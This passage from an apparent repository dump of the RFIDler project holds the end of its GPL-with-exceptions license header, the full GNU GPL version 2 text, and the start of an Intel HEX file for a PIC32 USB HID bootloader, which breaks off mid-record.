GPL Section 3 requirements of providing        *\n * source code and allowing free redistribution of the work as a whole.      *\n *                                                                           *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants  *\n * permission to link the code of this program with any version of the       *\n * OpenSSL library which is distributed under a license identical to that    *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute     *\n * linked combinations including the two.                                    *\n *                                                                           *\n * Any redistribution of Covered Software, including any derived works,      *\n * must obey and carry forward all of the terms of this license, including   *\n * obeying all GPL rules and restrictions.  For example, source code of      *\n * the whole work must be provided and free redistribution must be           *\n * allowed.  All GPL references to \"this License\", are to be treated as      *\n * including the terms and conditions of this license text as well.          *\n *                                                                           *\n * Because this license imposes special exceptions to the GPL, Covered       *\n * Work may not be combined (even as part of a larger work) with plain GPL   *\n * software.  The terms, conditions, and exceptions of this license must     *\n * be included as well.  This license is incompatible with some other open   *\n * source licenses as well.  In some cases we can relicense portions of      *\n * RFIDler or grant special permissions to use it in other open source       *\n * software.  Please contact sales@aperturelabs.com with any such requests.  *\n * Similarly, we don't incorporate incompatible open source software into    *\n * Covered Software without special permission from the copyright holders.   *\n *                                                                           *\n * If you have any questions about the licensing restrictions on using       *\n * RFIDler in other works, are happy to help.  As mentioned above, we also   *\n * offer alternative license to integrate RFIDler into proprietary           *\n * applications and appliances.  These contracts have been sold to dozens    *\n * of software vendors, and generally include a perpetual license as well    *\n * as providing for priority support and updates.  They also fund the        *\n * continued development of RFIDler.  Please email sales@aperturelabs.com    *\n * for further information.                                                  *\n * If you have received a written license agreement or contract for          *\n * Covered Software stating terms other than these, you may choose to use    *\n * and redistribute Covered Software under those terms instead of these.     *\n *                                                                           *\n * Source is provided to this software because we believe users have a       *\n * right to know exactly what a program is going to do before they run it.   *\n * This also allows you to audit the software for security holes (none       *\n * have been found so far).                                                  *\n *                                                                           *\n * Source code also allows you to port RFIDler to new platforms, fix bugs,   *\n * and add new features.  You are highly encouraged to send your changes     *\n * to the RFIDler mailing list for possible incorporation into the           *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or     *\n * one of the Aperture Labs Ltd. development mailing lists, or checking      *\n * them into the RFIDler source code repository, it is understood (unless    *\n * you specify otherwise) that you are offering the RFIDler Project          *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,         *\n * modify, and relicense the code.  RFIDler will always be available Open    *\n * Source, but this is important because the inability to relicense code     *\n * has caused devastating problems for other Free Software projects (such    *\n * as KDE and NASM).  We also occasionally relicense the code to third       *\n * parties as discussed above. If you wish to specify special license        *\n * conditions of your contributions, just say so when you send them.         *\n *                                                                           *\n * This program is distributed in the hope that it will be useful, but       *\n * WITHOUT ANY WARRANTY; without even the implied warranty of                *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler     *\n * license file for more details (it's in a COPYING file included with       *\n * RFIDler, and also available from                                          *\n * https://github.com/ApertureLabsLtd/RFIDler/RFIDler/firmware/Pic32/COPYING *\n *                                                                           *\n *****************************************************************************\n\nGNU General Public License\n\n----------------------------------------------------------------------------\n\nTable of Contents\n\n   * GNU GENERAL PUBLIC LICENSE\n        o Preamble\n        o TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n        o How to Apply These Terms to Your New Programs\n\n----------------------------------------------------------------------------\n\nGNU GENERAL PUBLIC LICENSE\n\nVersion 2, June 1991\n\nCopyright (C) 1989, 1991 Free Software Foundation, Inc.\n59 Temple Place - Suite 330, Boston, MA  02111-1307, USA\n\nEveryone is permitted to copy and distribute verbatim copies\nof this license document, but changing it is not allowed.\n\nPreamble\n\nThe licenses for most software are designed to take away your freedom to\nshare and change it. By contrast, the GNU General Public License is intended\nto guarantee your freedom to share and change free software--to make sure\nthe software is free for all its users. This General Public License applies\nto most of the Free Software Foundation's software and to any other program\nwhose authors commit to using it. (Some other Free Software Foundation\nsoftware is covered by the GNU Library General Public License instead.) You\ncan apply it to your programs, too.\n\nWhen we speak of free software, we are referring to freedom, not price. Our\nGeneral Public Licenses are designed to make sure that you have the freedom\nto distribute copies of free software (and charge for this service if you\nwish), that you receive source code or can get it if you want it, that you\ncan change the software or use pieces of it in new free programs; and that\nyou know you can do these things.\n\nTo protect your rights, we need to make restrictions that forbid anyone to\ndeny you these rights or to ask you to surrender the rights. These\nrestrictions translate to certain responsibilities for you if you distribute\ncopies of the software, or if you modify it.\n\nFor example, if you distribute copies of such a program, whether gratis or\nfor a fee, you must give the recipients all the rights that you have. You\nmust make sure that they, too, receive or can get the source code. And you\nmust show them these terms so they know their rights.\n\nWe protect your rights with two steps: (1) copyright the software, and (2)\noffer you this license which gives you legal permission to copy, distribute\nand/or modify the software.\n\nAlso, for each author's protection and ours, we want to make certain that\neveryone understands that there is no warranty for this free software. If\nthe software is modified by someone else and passed on, we want its\nrecipients to know that what they have is not the original, so that any\nproblems introduced by others will not reflect on the original authors'\nreputations.\n\nFinally, any free program is threatened constantly by software patents. We\nwish to avoid the danger that redistributors of a free program will\nindividually obtain patent licenses, in effect making the program\nproprietary. To prevent this, we have made it clear that any patent must be\nlicensed for everyone's free use or not licensed at all.\n\nThe precise terms and conditions for copying, distribution and modification\nfollow.\n\nTERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n0. This License applies to any program or other work which contains a notice\nplaced by the copyright holder saying it may be distributed under the terms\nof this General Public License. The \"Program\", below, refers to any such\nprogram or work, and a \"work based on the Program\" means either the Program\nor any derivative work under copyright law: that is to say, a work\ncontaining the Program or a portion of it, either verbatim or with\nmodifications and/or translated into another language. (Hereinafter,\ntranslation is included without limitation in the term \"modification\".) Each\nlicensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not covered\nby this License; they are outside its scope. The act of running the Program\nis not restricted, and the output from the Program is covered only if its\ncontents constitute a work based on the Program (independent of having been\nmade by running the Program). Whether that is true depends on what the\nProgram does.\n\n1. You may copy and distribute verbatim copies of the Program's source code\nas you receive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice and\ndisclaimer of warranty; keep intact all the notices that refer to this\nLicense and to the absence of any warranty; and give any other recipients of\nthe Program a copy of this License along with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and you\nmay at your option offer warranty protection in exchange for a fee.\n\n2. You may modify your copy or copies of the Program or any portion of it,\nthus forming a work based on the Program, and copy and distribute such\nmodifications or work under the terms of Section 1 above, provided that you\nalso meet all of these conditions:\n\n   * a) You must cause the modified files to carry prominent notices stating\n     that you changed the files and the date of any change.\n\n   * b) You must cause any work that you distribute or publish, that in\n     whole or in part contains or is derived from the Program or any part\n     thereof, to be licensed as a whole at no charge to all third parties\n     under the terms of this License.\n\n   * c) If the modified program normally reads commands interactively when\n     run, you must cause it, when started running for such interactive use\n     in the most ordinary way, to print or display an announcement including\n     an appropriate copyright notice and a notice that there is no warranty\n     (or else, saying that you provide a warranty) and that users may\n     redistribute the program under these conditions, and telling the user\n     how to view a copy of this License. (Exception: if the Program itself\n     is interactive but does not normally print such an announcement, your\n     work based on the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole. If identifiable\nsections of that work are not derived from the Program, and can be\nreasonably considered independent and separate works in themselves, then\nthis License, and its terms, do not apply to those sections when you\ndistribute them as separate works. But when you distribute the same sections\nas part of a whole which is a work based on the Program, the distribution of\nthe whole must be on the terms of this License, whose permissions for other\nlicensees extend to the entire whole, and thus to each and every part\nregardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest your\nrights to work written entirely by you; rather, the intent is to exercise\nthe right to control the distribution of derivative or collective works\nbased on the Program.\n\nIn addition, mere aggregation of another work not based on the Program with\nthe Program (or with a work based on the Program) on a volume of a storage\nor distribution medium does not bring the other work under the scope of this\nLicense.\n\n3. You may copy and distribute the Program (or a work based on it, under\nSection 2) in object code or executable form under the terms of Sections 1\nand 2 above provided that you also do one of the following:\n\n   * a) Accompany it with the complete corresponding machine-readable source\n     code, which must be distributed under the terms of Sections 1 and 2\n     above on a medium customarily used for software interchange; or,\n\n   * b) Accompany it with a written offer, valid for at least three years,\n     to give any third party, for a charge no more than your cost of\n     physically performing source distribution, a complete machine-readable\n     copy of the corresponding source code, to be distributed under the\n     terms of Sections 1 and 2 above on a medium customarily used for\n     software interchange; or,\n\n   * c) Accompany it with the information you received as to the offer to\n     distribute corresponding source code. (This alternative is allowed only\n     for noncommercial distribution and only if you received the program in\n     object code or executable form with such an offer, in accord with\n     Subsection b above.)\n\nThe source code for a work means the preferred form of the work for making\nmodifications to it. For an executable work, complete source code means all\nthe source code for all modules it contains, plus any associated interface\ndefinition files, plus the scripts used to control compilation and\ninstallation of the executable. However, as a special exception, the source\ncode distributed need not include anything that is normally distributed (in\neither source or binary form) with the major components (compiler, kernel,\nand so on) of the operating system on which the executable runs, unless that\ncomponent itself accompanies the executable.\n\nIf distribution of executable or object code is made by offering access to\ncopy from a designated place, then offering equivalent access to copy the\nsource code from the same place counts as distribution of the source code,\neven though third parties are not compelled to copy the source along with\nthe object code.\n\n4. You may not copy, modify, sublicense, or distribute the Program except as\nexpressly provided under this License. Any attempt otherwise to copy,\nmodify, sublicense or distribute the Program is void, and will automatically\nterminate your rights under this License. However, parties who have received\ncopies, or rights, from you under this License will not have their licenses\nterminated so long as such parties remain in full compliance.\n\n5. You are not required to accept this License, since you have not signed\nit. However, nothing else grants you permission to modify or distribute the\nProgram or its derivative works. These actions are prohibited by law if you\ndo not accept this License. Therefore, by modifying or distributing the\nProgram (or any work based on the Program), you indicate your acceptance of\nthis License to do so, and all its terms and conditions for copying,\ndistributing or modifying the Program or works based on it.\n\n6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the original\nlicensor to copy, distribute or modify the Program subject to these terms\nand conditions. You may not impose any further restrictions on the\nrecipients' exercise of the rights granted herein. You are not responsible\nfor enforcing compliance by third parties to this License.\n\n7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License. If you cannot distribute so\nas to satisfy simultaneously your obligations under this License and any\nother pertinent obligations, then as a consequence you may not distribute\nthe Program at all. For example, if a patent license would not permit\nroyalty-free redistribution of the Program by all those who receive copies\ndirectly or indirectly through you, then the only way you could satisfy both\nit and this License would be to refrain entirely from distribution of the\nProgram.\n\nIf any portion of this section is held invalid or unenforceable under any\nparticular circumstance, the balance of the section is intended to apply and\nthe section as a whole is intended to apply in other circumstances.\n\nIt is not the purpose of this section to induce you to infringe any patents\nor other property right claims or to contest validity of any such claims;\nthis section has the sole purpose of protecting the integrity of the free\nsoftware distribution system, which is implemented by public license\npractices. Many people have made generous contributions to the wide range of\nsoftware distributed through that system in reliance on consistent\napplication of that system; it is up to the author/donor to decide if he or\nshe is willing to distribute software through any other system and a\nlicensee cannot impose that choice.\n\nThis section is intended to make thoroughly clear what is believed to be a\nconsequence of the rest of this License.\n\n8. If the distribution and/or use of the Program is restricted in certain\ncountries either by patents or by copyrighted interfaces, the original\ncopyright holder who places the Program under this License may add an\nexplicit geographical distribution limitation excluding those countries, so\nthat distribution is permitted only in or among countries not thus excluded.\nIn such case, this License incorporates the limitation as if written in the\nbody of this License.\n\n9. The Free Software Foundation may publish revised and/or new versions of\nthe General Public License from time to time. Such new versions will be\nsimilar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number. If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation. If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n10. If you wish to incorporate parts of the Program into other free programs\nwhose distribution conditions are different, write to the author to ask for\npermission. For software which is copyrighted by the Free Software\nFoundation, write to the Free Software Foundation; we sometimes make\nexceptions for this. Our decision will be guided by the two goals of\npreserving the free status of all derivatives of our free software and of\npromoting the sharing and reuse of software generally.\n\nNO WARRANTY\n\n11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR\nTHE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO\nTHE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM\nPROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR\nCORRECTION.\n\n12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO\nLOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR\nTHIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\nEND OF TERMS AND CONDITIONS\n\nHow to Apply These Terms to Your New Programs\n\nIf you develop a new program, and you want it to be of the greatest possible\nuse to the public, the best way to achieve this is to make it free software\nwhich everyone can redistribute and change under these terms.\n\nTo do so, attach the following notices to the program. It is safest to\nattach them to the start of each source file to most effectively convey the\nexclusion of warranty; and each file should have at least the \"copyright\"\nline and a pointer to where the full notice is found.\n\none line to give the program's name and an idea of what it does.\nCopyright (C) 19yy  name of author\n\nThis program is free software; you can redistribute it and/or\nmodify it under the terms of the GNU General Public License\nas published by the Free Software Foundation; either version 2\nof the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this when\nit starts in an interactive mode:\n\nGnomovision version 69, Copyright (C) 19yy name of author\nGnomovision comes with ABSOLUTELY NO WARRANTY; for details\ntype `show w'.  This is free software, and you are welcome\nto redistribute it under certain conditions; type `show c'\nfor details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License. Of course, the commands you use may be\ncalled something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary. Here is a sample; alter the names:\n\nYoyodyne, Inc., hereby disclaims all copyright\ninterest in the program `Gnomovision'\n(which makes passes at compilers) written\nby James Hacker.\n\nsignature of Ty Coon, 1 April 1989\nTy Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs. If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary. If this is what you want to do, use the GNU Library General Public\nLicense instead of this License.\n\n*/\n"
  },
  {
    "path": "firmware/Pic32/HIDBoot_MX795_Hex_Load.X/HIDBoot.X.production.hex",
    "content": ":020000040000fa\r\n:020000041fc01b\r\n:042ff400d979f8ff90\r\n:020000040000fa\r\n:020000041fc01b\r\n:042ff800db0d60ff8e\r\n:020000040000fa\r\n:020000041fc01b\r\n:042ffc00ffffff7f55\r\n:020000040000fa\r\n:020000041fc01b\r\n:10000000c0bf1a3c10005a2708004003000000003f\r\n:1000100000601a40c0045a7f050040130000000031\r\n:10002000009d1a3cf44c5a270800400300000000d1\r\n:1000300000a01d3cf87ebd2701a01c3c00809c2731\r\n:100040000260094020582001801e2a7d8449497d94\r\n:1000500002608940c000000000e0dc4102608b408b\r\n:10006000009d083c644d082509f8000100000000cf\r\n:1000700000a0083c0800082500a0093c80052925af\r\n:100080000600001000000000000000ad040000adfc\r\n:10009000080000ad0c0000ad100008252b08090178\r\n:1000a000f9ff201400000000009d083c704a08255c\r\n:1000b0000000098d180020110400082500000a8d99\r\n:1000c0000400082500000b8d0900601104000825bc\r\n:1000d00000000c91ffff4a250100082500002ca11b\r\n:1000e000fbff40150100292505000010000000005d\r\n:1000f000000020a1ffff4a25fdff40150100292532\r\n:1001000003000825fcff0a24244048010000098d53\r\n:10011000e7ff2015000000000000093c0000292531\r\n:1001200010002011000000000000093c007f29257c\r\n:1001300088bf0a3c10204a25000049ad0000093c58\r\n:10014000007f292588bf0a3c20204a25000049adb0\r\n:100150000000093c007f292588bf0a3c30204a2541\r\n:10016000000049ad00488040ffff0a2400588a4043\r\n:10017000009d093c00002925017889400000093cc8\r\n:100180000100292500000a2444492a7d01608a4093\r\n:100190008000093c00688940008008408005097d96\r\n:1001a000404c0900006008405800013c2440010117\r\n:1001b0002540280100608840009d083c6c4d0825c2\r\n:1001c00009f800010000000000600840bfff013c8a\r\n:1001d000ffff21342440010100608840000084308a\r\n:1001e0000000a530009d083c0c4d082508000001ca\r\n:0401f000000000000b\r\n:020000040000fa\r\n:020000041fc01b\r\n:10038000009d1a3c284d5a27080040030000000039\r\n:020000040000fa\r\n:020000041d00dd\r\n:10018000009d1a3c08475a27080040030000000061\r\n:020000040000fa\r\n:020000041d00dd\r\n:102000001201000200000008d8043c000200010296\r\n:102010000001000009022900010100c0320904008a\r\n:10202000000203000000092111010001221d000728\r\n:102030000581034000010705010340000100000085\r\n:102040000403090434034d006900630072006f004b\r\n:1020500063006800690070002000540065006300a0\r\n:1020600068006e006f006c006f0067007900200050\r\n:1020700049006e0063002e00260355005300420005\r\n:102080002000480049004400200042006f006f001b\r\n:1020900074006c006f006100640065007200000055\r\n:1020a0000600ff0901a10119012940150026ff00c2\r\n:1020b000750895408100190129409100c000000079\r\n:1020c0001420009d4020009d4420009d7820009d0c\r\n:020000040000fa\r\n:020000041d00dd\r\n:1020d800c0ffbd273c00bfaf3800beaf3400b7af6c\r\n:1020e8003000b6af2c00b5af2800b4af2400b3afb2\r\n:1020f8002000b2af1c00b1af1800b0af7080828f63\r\n:10210800200040140100032488bf023c505240ac18\r\n:1021180088bf023c105240ac88bf033ce05260ac20\r\n:102128009f00032488bf043c305283ac105243ac58\r\n:1021380088bf023c7050438c0f006330705043ac32\r\n:102148007050438c705043ac88bf023c5052428c54\r\n:10215800010042300d00401488bf023c01000424f5\r\n:102168005052438c0400837c505243ac5052438cf1\r\n:1021780001006330faff6010ff0003246708400b7a\r\n:1021880088bf023c1100431488bf023cff000324af\r\n:1021980088bf023c005243ac88bf023c105240ac9e\r\n:1021a80088bf023c1052438c010004240400837c45\r\n:1021b800105243ac1052438c0421837c105243ac20\r\n:1021c80002000224708082af88bf023c4050428cdb\r\n:1021d800100042301400401088bf023c88bf023c07\r\n:1021e8005050428c100042300f00401088bf023c13\r\n:1021f80088bf113c10001024405030ae588080af8a\r\n:102208007400042421280000cd12400f2130000062\r\n:1022180088bf023c5050438c0421037c505043ac8f\r\n:10222800405030ae88bf023c8050428c02004230a1\r\n:102238000700401088bf023c88bf023c4010438c16\r\n:1022480044ce037c401043ac3f0d400b3c00bf8f95\r\n:102258000052428c010042300e00401088bf023c00\r\n:1022680088bf023c1052428c0100423009004010e5\r\n:1022780088bf023c680e400f0000000004000224e2\r\n:10228800708082af0100032488bf023c005243ac37\r\n:1022980088bf023c0052428c1000423015004010aa\r\n:1022a80088bf023c88bf023c1052428c100042306a\r\n:1022b8001000401088bf023c88bf033c5050648c1b\r\n:1022c800010002240421447c505064ac88bf113cb6\r\n:1022d80010001024005230ae588082af75000424dc\r\n:1022e80021280000cd12400f21300000005230aeee\r\n:1022f80088bf023c0052428c040042300e0040105d\r\n:1023080088bf023c88bf023c1052428c0400423015\r\n:102318000600401004000324730004242128000050\r\n:10232800cd12400f010006240400032488bf023c9c\r\n:10233800005243ac88bf023c0052428c80004230bd\r\n:102348002b00401088bf023c88bf023c1052428cd0\r\n:10235800800042302600401088bf023c88bf023c03\r\n:102368000053428c020042301d0040107c80828f56\r\n:1023780000004390ff00633001004490ff00843068\r\n:1023880000220400252083008000032411008354c8\r\n:1023980088bf023c7480838f00006590ff00a530e1\r\n:1023a80001006490ff00843000220400252085008d\r\n:1023b800840003240700835488bf023c0000439034\r\n:1023c8008cff0324000043a001004390010040a0bb\r\n:1023d80088bf023c0053438c4408037c005343ac41\r\n:1023e8008000032488bf023c005243ac88bf023cf3\r\n:1023f8000052428c02004230120040107080828fde\r\n:1024080088bf023c1052428c020042300d0040103e\r\n:102418007080828fff7f043cffff843421280000f6\r\n:10242800cd12400f01000624ff00032488bf023ca0\r\n:10243800205243ac0200032488bf023c005243ac44\r\n:102448007080828f0400422c0700401088bf023c35\r\n:1024580088bf023c4010438c44ce037c401043ac00\r\n:102468003f0d400b3c00bf8f1052428c0800423099\r\n:102478001c04401088bf023c88bf023c0052428cba\r\n:102488000800423009004014040010243b0d400ba2\r\n:1024980088bf023c0052428c080042300c004014b5\r\n:1024a80088bf023c3b0d400b0000000088bf133c76\r\n:1024b80088bf143c080011242190200200a0163c7b\r\n:1024c8000004d62600a0153c009d173c0020f726e6\r\n:1024d8004052638eff006330208083a32120600078\r\n:1024e8000019827c818082a3005292ae0800843059\r\n:1024f800ff00843009008014188084273c808427da\r\n:1025080021208200000085900000a67c0100c638ca\r\n:102518000400c57c4f09400b000085a021208200e3\r\n:10252800000085900000a67c0100c6380400c57c28\r\n:10253800000085a0e303401472000424fb0062300d\r\n:102548008603401482180300c01003002110c20241\r\n:102558007c8082af488082af08004438488084a3da\r\n:10256800000045903c00a53034000424df02a41488\r\n:10257800212800004080892700a0083c04004a90d8\r\n:10258800ff004a3105004790ff00e730003a070096\r\n:102598002538ea0006004490ff0084300024040037\r\n:1025a8002520870007004690003606002530c40025\r\n:1025b800212025012530c8000000c690000086a013\r\n:1025c80004004a90ff004a3105004790ff00e730b9\r\n:1025d800003a07002538ea0006004690ff00c6309a\r\n:1025e800003406002530c700070044900026040088\r\n:1025f800252086000100842404004690040044a09d\r\n:102608000500469002320400050046a006004690e8\r\n:1026180002340400060046a0070046900226040083\r\n:10262800070044a00100a524d4ffb1140000000055\r\n:102638004080852700e0a27cc0180300211876009e\r\n:10264800040062ac808080a31c8080af388080af9b\r\n:102658005c8080af548080af308080a374808227f4\r\n:102668000000438c00006490ff00843001006690f5\r\n:10267800ff00c630003206002530c4007fff042466\r\n:102688002430c40000006790000066a00100679035\r\n:1026980002320600010066a000004390080063387b\r\n:1026a800000043a00000438c00006790ff00e73063\r\n:1026b80001006690ff00c630003206002530c700d2\r\n:1026c8002430c40000006790000066a001006790f5\r\n:1026d80002320600010066a000004390080063383b\r\n:1026e800000043a04880828f00004690ff00c6305b\r\n:1026f80001004390ff006330001a030025186600ac\r\n:102708002420640000004390000044a0010043908e\r\n:1027180002220400010044a00002a226040040a0f6\r\n:10272800080040a400a0023c10024224040040a07b\r\n:102738000400438c04ba037c040043ac0000a2905c\r\n:1027480060004230f3014054030004244180829326\r\n:10275800ff0042300c00432cee01605003000424bb\r\n:1027680080100200009d033c84276324211062002e\r\n:102778000000428c08004000000000009c29009dd9\r\n:10278800dc2a009d182f009ddc2a009d182f009d33\r\n:10279800b427009dd027009d082f009d7429009d17\r\n:1027a800b028009da42e009dd82e009d0002a226d0\r\n:1027b8000400438c01000424c439837c040043ac26\r\n:1027c800c60b400b708092af40808393ff0063304c\r\n:1027d80080000224cf016214030004240002a22610\r\n:1027e800c0ff0324040043a043808293ff004230cb\r\n:1027f80002000324090043100300032415004310ba\r\n:1028080001000324260043140002a2260002b7aeea\r\n:1028180012000324c70b400b080043a44280839393\r\n:10282800ff00633080180300009d023cc020422452\r\n:10283800211062000000428c0002a2ae0002a32612\r\n:1028480002004490080064a003004290c60b400bad\r\n:10285800090062a042808293ff0042300300422cac\r\n:102868000d0040100002a22642808393ff006330cf\r\n:1028780080180300009d023cc420422421106200fd\r\n:102888000000428c0002a2ae0002a3260000429083\r\n:10289800c60b400b080062a4c60b400b040040a006\r\n:1028a800c60b400b040040a00002a2260400438c83\r\n:1028b80001000424c439837c040043ac88bf023c73\r\n:1028c800105340ac21100000c018020021187600f7\r\n:1028d8002120000021280000000064ac040065ac41\r\n:1028e80001004224f9ff5114c018020088bf023cbd\r\n:1028f8005052438c010004244408837c505243ac5a\r\n:10290800188080a33c8080a3198080a33d8080a389\r\n:102918004c8080a35052438c4408037c505243acf3\r\n:1029280000a0023c10044224748082af7c8096afe1\r\n:10293800488096af42808293ff00423004004014e2\r\n:10294800688082a310000224c60b400b708082afff\r\n:102958000100042468808527cd12400f0100062459\r\n:1029680020000224c60b400b708082af688082274b\r\n:102978000002a2ae0002a2260400448c0100032437\r\n:102988000400647c080043a0c439647cc60b400b77\r\n:10299800040044ac248080a3258080a34080828fdb\r\n:1029a8001f004230010003241900431002000324d1\r\n:1029b8001d0043500002a226390040140002a2263e\r\n:1029c8000002a3260400648c01000224c439447c5c\r\n:1029d800040064ac2480832700006490ff008430e6\r\n:1029e80001008434000064a02c80838f2c00625482\r\n:1029f8000002a2262480822700004390ff00633053\r\n:102a080002006334000043a0aa0a400b0002a22679\r\n:102a18000002a2260400438c01000424c439837cec\r\n:102a2800aa0a400b040043ac0400438c01000424b0\r\n:102a3800c439837c040043ac4480829380004230d4\r\n:102a4800ff00423008004014000000004480828fdc\r\n:102a58000f0042308010020060808327211062003e\r\n:102a6800a20a400b0000428c4480828f0f00423043\r\n:102a78008010020074808327211062000000428cbd\r\n:102a88000000439084006330840002240400621430\r\n:102a98000002a22601000224248082a30002a226aa\r\n:102aa8000400428c800042301901401024808227a3\r\n:102ab8000002a2ae0002a2260400438c01000424f6\r\n:102ac8000400837c040043ac02000324c60b400bc3\r\n:102ad800080043a042808393ff0063300100022472\r\n:102ae8001000621400000000408082931f004230f2\r\n:102af8000c0040140002a2260400438c01000424a8\r\n:102b0800c439837c040043ac41808393ff00633065\r\n:102b180003000224030062542c8080af01000224c9\r\n:102b28002c8082af42808293ff004230f90040142b\r\n:102b380003000424408083931f00633002000224b2\r\n:102b4800f500621421280000448082930f0042306f\r\n:102b5800f1004010000000004480828f0f004230d6\r\n:102b680002004228ec004010200002247080838f6d\r\n:102b7800e90062140002a2260400438c0100042428\r\n:102b8800c439837c040043ac448082938000423083\r\n:102b9800ff0042300e004014448082270000438c1e\r\n:102ba8000f00633080180300608084272118830099\r\n:102bb8000000638c1000a3af0000428c0f0042306d\r\n:102bc8003c80832721106200020b400b00005e90be\r\n:102bd8000000438c0f006330801803007480842742\r\n:102be800211883000000638c1000a3af0000428c02\r\n:102bf8000f004230188083272110620000005e9089\r\n:102c08000100c233040040141000a293f7004230c0\r\n:102c18000a0b400b1000a2a3080042341000a2a324\r\n:102c28004480829380004230ff0042300900401403\r\n:102c3800000000004480828f0f00423080100200a4\r\n:102c480060808327211062001000a38f1e0b400ba9\r\n:102c5800000043ac4480828f0f0042308010020095\r\n:102c680074808327211062001000a38f000043acfa\r\n:102c780041808393ff00633003000224280062141c\r\n:102c88001000a2931000a28f0000429080004230f2\r\n:102c9800ff004230180040101000a28f4480829339\r\n:102ca80080004230ff0042300a004014000000005b\r\n:102cb8004480828f0f0042303c80832721106200bd\r\n:102cc80000004390010004244408837c3f0b400b20\r\n:102cd800000043a04480828f0f0042301880832771\r\n:102ce8002110620000004390010004244408837c02\r\n:102cf800000043a01000a28f000044900100439000\r\n:102d0800001a03002518640084006334ffff633051\r\n:102d1800000043a0021a0300c60b400b010043a0a9\r\n:102d2800080042381000a2a31000a58f0000a2904e\r\n:102d380080004230ff004230100040500000a39055\r\n:102d48000000a2900100a390001a03007f00423007\r\n:102d58002510430040004234ffff42300000a2a08b\r\n:102d6800021202000100a2a005000424cd12400fa7\r\n:102d7800040006246a0b400b1000a2930100a290e5\r\n:102d8800001202002510430040004234ffff423089\r\n:102d98000000a2a0021202000100a2a01000a2934b\r\n:102da800080042380200c533ff00be300700c017d4\r\n:102db8001000a2a31000a28f00004390800063308f\r\n:102dc800ff006330230060500000439044808293ea\r\n:102dd80080004230ff00423009004014000000002b\r\n:102de8004480828f0f0042303c808327211062008c\r\n:102df800000043904408037c890b400b000043a06b\r\n:102e08004480828f0f00423018808327211062008f\r\n:102e1800000043904408037c000043a01000a58fe5\r\n:102e28000000a2900100a390001a03003b0042306a\r\n:102e3800251043000000a2a0021202000100a2a077\r\n:102e480005000424cd12400f040006249e0b400bfd\r\n:102e58000000000001004490002204003b006330a1\r\n:102e680025186400000043a0021a0300010043a0d3\r\n:102e78004480838f0f0063300019030088bf023c31\r\n:102e880000534224211043000000448cfdff03241a\r\n:102e980024188300c60b400b000043ac4480829387\r\n:102ea800ff0042304c808327211062000002a2ae4e\r\n:102eb8000002a2260400448c010003240400647c60\r\n:102ec800080043a0c439647cc60b400b040044ac22\r\n:102ed8000002a2260400438c01000424c439837c28\r\n:102ee800040043ac44808293ff00423042808393c5\r\n:102ef8004c80842721108200c60b400b000043a0a1\r\n:102f08000200042421280000cd12400f21300000c7\r\n:102f18000300042421280000cd12400f21300000b6\r\n:102f280088bf